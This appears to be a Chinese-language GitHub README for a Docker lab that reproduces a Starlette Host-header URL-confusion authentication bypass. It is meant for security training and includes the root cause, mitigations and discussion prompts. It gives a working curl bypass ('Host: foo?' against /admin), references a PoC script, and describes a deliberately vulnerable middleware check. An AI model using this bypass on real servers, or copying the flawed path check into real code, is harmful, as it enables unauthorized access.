xtremebeing/starlette-host-header-lab

GitHub: xtremebeing/starlette-host-header-lab

一个用于复现和研究 Starlette Host 头 URL 混淆导致身份验证绕过漏洞(CVE-2026-48710)的容器化安全实验环境。

Stars: 1 | Forks: 0

# Starlette Host 头 URL 混淆实验环境 (X41-2026-002) 一个独立的、容器化的训练实验环境,用于复现 X41 D-Sec 披露的 Starlette 身份验证绕过漏洞。 - **安全公告:** [X41-2026-002](https://x41-dsec.de/lab/advisories/x41-2026-002-starlette/) - **GHSA:** GHSA-86qp-5c8j-p5mr - **CWE:** 436 — 解释冲突 / 函数调用中的不可信输入 - **CVSS:** 7.0(高) - **受影响版本:** Starlette `>= 0.8.3`, `< 1.0.1`(本实验环境固定使用 `0.37.2`) - **修复版本:** Starlette `1.0.1` ## 一段话解释该漏洞 Starlette 使用原始的 ASGI `scope["path"]` 将请求分发到某个路由, 但它通过将客户端提供的 `Host` 头字符串格式化为 `"{scheme}://{host}{path}"` 来重构 `request.url` —— **而没有根据 RFC 9112 §3.2 验证 Host 头**。 由于 URL 元字符(`?`, `/`, `#`)被直接允许通过,攻击者可以使*重构的*路径 与*路由的*路径不同。任何针对 `request.url.path` 编写的安全检查 都可能被欺骗,同时路由器仍然会到达受保护的处理程序。 ### PoC 的原理 存在漏洞的中间件仅在 `request.url.path` 为 `/` 或为空时允许请求通过: ``` if request.url.path in ("/", ""): return await call_next(request) # allowed return PlainTextResponse("Forbidden", status_code=403) ``` 针对 `GET /admin` 发送 `Host: foo?`: | 组件 | 使用的值 | |---------------------------|-------------------------------------| | Router (`scope["path"]`) | `/admin` → 分发至 `admin()` | | `request.url` | `http://foo?/admin` | | `request.url.path` | `""` → 通过身份验证 ✅ | `?` 会将其后的所有内容变成*查询字符串*,因此解析出的路径 为空。身份验证机制看到空路径便予以放行;而路由器仍然提供 `/admin` 的服务。**绕过成功。** ## 运行实验环境 需要 Docker + Docker Compose。 ``` docker compose up --build ``` 启动两个服务: | 服务 | URL | 行为 | |--------------|-------------------------|------------------------------| | `vulnerable` | http://localhost:8000 | 可绕过 | | `fixed` | http://localhost:8001 | 已缓解(两种方式) | ### 利用漏洞 ``` # 正常拦截: curl -i http://localhost:8000/admin # 403 Forbidden # 通过 Host header injection 绕过: curl -i -H 'Host: foo?' http://localhost:8000/admin # 200 OK + FLAG{...} ``` 或者运行引导式 PoC 脚本: ``` ./exploit/exploit.sh # attacks :8000 (succeeds) ./exploit/exploit.sh 8001 # attacks :8001 (fails — fixed) ``` 存在漏洞的 `/admin` 处理程序返回的 JSON 主体使这种混淆 变得可见——请注意 `scope_path` 和 `reconstructed_path` 是如何不一致的: ``` { "secret": "FLAG{host_header_url_confusion}", "scope_path": "/admin", "reconstructed_url": "http://foo?/admin", "reconstructed_path": "", "host_header": "foo?" } ``` ## 修复原理 参见 [`fixed/fixed_app.py`](fixed/fixed_app.py)。包含两个独立的缓解措施: 1. **使用权威值。** 在 `request.scope["path"]`(即路由器使用的相同原始路径)上做出身份验证决策,而不是在重构的 `request.url.path` 上。 2. **纵深防御。** `TrustedHostMiddleware` 在任何应用逻辑运行之前拒绝意外/格式错误的 `Host` 头,这映射了 符合 RFC 的反向代理(nginx/Apache)在上游所做的工作。 现实世界中的修复方法很简单,即**升级到 Starlette ≥ 1.0.1**,该版本会在 URL 重构期间验证 Host 头。 ## 面向工程师的讨论提示 1. 在典型的技术栈中,还有哪些地方会从不可信输入中*重构*值 然后予以信任?(提示:SSRF 允许列表、OAuth `redirect_uri`、缓存键、 基于 `Host` 构建的密码重置链接。) 2. 为什么在这里“拦截恶意路径”(`/admin`)比“基于路由端点进行决策”更脆弱?如果路由是不区分大小写的或有尾部斜杠重定向会怎样? 3. 这是 CWE-436(解释冲突)。还有哪些著名的漏洞具有这种特征?(HTTP 请求走私、Unicode 规范化身份验证绕过、`0.0.0.0`-day。) ## 文件 ``` starlette-host-header-lab/ ├── app/vulnerable_app.py # the deliberately vulnerable service ├── fixed/fixed_app.py # mitigated service for comparison ├── exploit/exploit.sh # guided proof-of-concept ├── requirements.txt # pins Starlette 0.37.2 (vulnerable) ├── Dockerfile ├── docker-compose.yml └── README.md ```
标签:CISA项目, Docker容器, Python, Starlette, Web安全, 攻击面发现, 无后门, 漏洞复现环境, 版权保护, 蓝队分析, 请求拦截, 身份验证绕过, 逆向工具